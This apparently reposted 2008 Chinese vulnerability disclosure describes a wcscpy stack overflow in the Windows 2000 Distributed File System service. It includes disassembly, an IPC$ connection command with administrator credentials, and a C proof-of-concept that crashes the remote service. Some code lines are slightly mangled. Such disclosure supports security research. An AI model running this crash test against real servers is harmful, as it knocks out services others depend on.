DistributedFileSystem服务远程问题

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

1.前言:

最近在windows 2000 advanced server下研究Distributed File System服务的时候,在当中一个函数发现一个溢出,经过测试,发现需要远程通过目标机的管理员组成员和Distributed File System服务建立name pipe,才能发生溢出,不知道这样的问题,属于不属于安全漏洞呢?

今天决定发出来给大家共同研究一下,说不定有可能其他高手发现不需要通过目标机的管理员组成员权限来进行溢出,那这个就算真正的安全问题了,而且危害性肯定也强了。

2.问题细节:

这个溢出问题,是发生在Distributed File System服务里面的NetrDfsAddStdRootForced函数在处理第四个参数上面,这个第四个参数是会作为第五个参数传递给SetupStdDfs的,在这个函数里面调用wcscpy,问题出在这里没有进行边界检查,导致溢出的代码如下:

NetrDfsAddStdRootForced函数

...............

.text:0100A2B5

mov

edi, [ebp+arg_C]

.text:0100A2B8

test

edi, edi

.text:0100A2AF

jz

loc_100A373

...............

.text:0100A31F

push

edi

.text:0100A320

push

1

.text:0100A322

push

[ebp+arg_8]

.text:0100A325

lea

eax, [ebp+var_214]

.text:0100A32B

push

[ebp+arg_4]

.text:0100A32E

push

eax

.text:0100A32F

call

SetupStdDfs

...............

SetupStdDfs函数

.text:01007FB4

push

ebp

.text:01007FB5

mov

ebp, esp

.text:01007FB7

sub

esp, 658h

.text:01007FBD

push

ebx

.text:01007FBE

mov

ebx, ds:wcscpy

.text:01007FC4

push

esi

.text:01007FC5

push

edi

.text:01007FC6

xor

esi, esi

.text:01007FC8

xor

edi, edi

.text:01007FCA

cmp

[ebp+arg_10], esi

.text:01007FCD

jnz

short loc_1007FE2

...............

.text:01007FE2 loc_1007FE2:

.text:01007FE2

push

[ebp+arg_10]

.text:01007FE5

lea

eax, [ebp+var_43C]

.text:01007FEB

push

eax

.text:01007FEC

call

ebx ; wcscpy

调用流程为:

NetrDfsAddStdRootForced-SetupStdDfs-wcscpy

3.溢出测试方法:

(1).先使用目标机器的管理员组成员建立一个ipc$连接net use \目标机器ipipc$ 管理员组成员密码 /user:管理员组成员账号

(2).使用如下测试代码测试:

#include <stdio.h

#include <stdlib.h

#include <windows.h

#include <Lm.h

#include <Lmdfs.h

#pragma comment(lib, "Netapi32.lib")

int main (void)

{ wchar_t a[]=L"\\ip\"; //把ip替换为你的目标机器ip

wchar_t b[4000];

LPWSTR ServerName=a;

LPWSTR RootShare=L"fzk";

LPWSTR Comment=L"fzk";

LPWSTR Store;

int i;

for (i = 0; i< 2000;i++)

wcscat(b, L"A");

Store = b;

if( NetDfsAddStdRootForced( ServerName, RootShare, Comment, Store) == NERR_Success)

return TRUE;

else

return FALSE;}

把以上代码存为test.cpp,运行cl test.cpp编译,然后执行test.exe,到这里应该目标机器的Distributed File System服务已经down掉了。

4.附加信息:

在MSDN发现NetDfsAddStdRootForced API在windows 2003已经被弃用了Distributed File System服务在windows 2000服务器下面是默认开放的。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航